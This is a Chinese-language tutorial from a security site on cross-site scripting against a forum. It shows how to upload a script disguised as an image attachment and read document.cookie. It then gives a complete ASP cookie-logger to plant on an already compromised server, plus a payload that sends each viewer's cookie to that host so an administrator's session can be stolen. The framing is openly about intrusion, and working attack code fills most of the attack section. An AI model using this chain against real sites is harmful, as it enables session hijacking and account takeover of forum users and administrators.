频道栏目
首页 > 安全 > 网站安全 > 正文

跨站攻击讲解实战演练

2006-11-23 08:33:40           
收藏   我要投稿

前言:
在我们长期班以前的教学中,已经对跨站攻击做过了原理上的解释和代码的分析。我们也已通过Discuz4.1论坛的跨站漏洞详细讲解了它的利用方法。不久前讲的《跨站——在搜索引擎中》一篇教学同样告诉我们,跨站攻击不仅仅存在于小网站中!
这节课,我们继续来通过一个实例来看看如何发散我们的思维来更好的利用跨站漏洞为我们进行安全检测服务。

内容:
首先,我们新建一个文本文件,在里面写入以下一段代码
<script>alert(“Hello! 77169”)</script>
然后我们将该文件从命名为hello.html。用IE打开这个文件,我们可以看到:

也就是说,脚本被成功的执行了。我们发散性的思维思考一下,如果将这个html文件更改一下后缀名,然后放到论坛上,当浏览者浏览后会怎么样呢?我们就用动网最新的7.1sp1版本为例:
首先登陆我们的论坛,然后发一篇帖子。帖子附件用我们刚才的hello.html把它的后缀名更改为图片格式的。例如更改为 hello.gif 。然后发表帖子。回到我们刚才发表的帖子处进行浏览,我们可以看到:

我们再点击下面的”按此再新窗口中浏览图片”便会弹出我们刚才所看到的那个弹出警告了。也就是说,动网的最新版本同样存在这样的执行脚本漏洞。想到这里我们再进行发散思维,我们可以把以上代码进行一下修改,使它弹出对我们有用的信息。比方我们可以把代码更改为:
<script>alert(document.cookie)</script>
这次我们先退出登陆,然后选择保存cookie进行登陆,同样发表一个更改了后缀名的文件。再次发表之后我们进行浏览。可以看到:

当前用户的cookie值已经弹出来了。通过这个cookie我们可以知道当前的用户名为admin密码为经过了md5加过密的。假如说这个系统存在cookie欺骗的话,我们就可以利用得到的管理员的cookie来登陆到网站的管理页面了。
也许很多会员会说了。这样并不能很好的利用这个漏洞来进行入侵。没有关系,我们再进一步的发散我们的思维:假如我们已经拿下了一个服务器上的某一个虚拟目录的Webshell,现在要对这个服务器上的其他站点进行入侵。那么是否可以利用呢?
答案是肯定的。我们构造以下一段代码:
<%
dim fs,log,logname,hevent
logname="cookie_"& now & ".txt"
logname=replace(logname," ","_")
logname=replace(logname,"-","_")
logname=replace(logname,":",".")
logname=server.mappath(logname)
hevent=request.servervariables("QUERY_STRING")
set fs=server.createobject("scripting.filesystemobject")
set log=fs.createtextfile(logname)
log.writeline hevent
log.close
set fs=nothing
response.redirect("http://www.77169.com")
%>
然后把它保存为cookie.asp。放到我们的webshell下面。当然,前提是你已经知道了网站的相对路径。这段代码的意思就是定义了四个变量—fs,log,logname,hevent。然后通过FSO组件把当前浏览者的cookie值存储到相同的目录下面,定义生成的文件格式是以时间来标记的。
我们再把要诱使管理员浏览的帖子附件加入我们预先设置好的以下代码:
<script>window.open(‘http://192.168.1.110/cookie.asp?event=’+document.cookie)</script>
同样以附件形式发到我们的论坛中,这样所有浏览这个帖子的会员,只要登陆的时候选择了保存cookie信息,都会生成一个文件到我们预先设定好的网站目录下面。我们需要做的仅仅使让管理员来浏览我们的附件!以下图片是生成的文件记录

通过这个,我们就可以轻而易举的得到了该网站管理员的cookie信息。

其实跨站攻击的利用面是非常大也是非常灵活的。这个只要大家多观察,多思考就一定可以找到更为灵巧的入侵方法!

相关TAG标签 实战
上一篇:MSSQL db_owner注入获得系统权限
下一篇:网站服务器通用和专用保护方法分析比较
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站